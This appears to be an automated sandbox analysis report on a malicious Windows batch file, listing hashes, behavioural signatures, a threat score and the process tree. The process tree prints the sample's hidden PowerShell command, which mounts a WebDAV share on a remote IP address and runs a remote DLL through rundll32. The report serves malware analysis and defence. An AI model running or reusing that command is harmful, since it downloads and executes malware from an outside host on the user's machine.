Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    14/07/2024, 21:11

General

  • Target

    17953164631470629557.bat

  • Size

    2KB

  • MD5

    6c5dcaaac185235ccdd1f45bda977a7e

  • SHA1

    a0c23ce90d4216c03b491bd0707dc835fc6380ac

  • SHA256

    257c5000fa5f7486d902ed2416b7f7f502c620e0e5c4a8847c3f8fb1e58a9e42

  • SHA512

    de748d96bbea491545c8ac7ffd7f846e76125cdf509a4aef210418910032190878ba390cd3c1c9946089c62f435a93760a3f42f6e716c8cfc269df5332cbc3a5

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\17953164631470629557.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4736.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2808
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4736.dll entry
          3⤵
            PID:3040

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • memory/2032-17-0x00000000021C0000-0x00000000022C0000-memory.dmp

              Filesize

              1024KB

            • memory/2680-22-0x000000001B560000-0x000000001B842000-memory.dmp

              Filesize

              2.9MB

            • memory/2680-23-0x0000000002990000-0x0000000002998000-memory.dmp

              Filesize

              32KB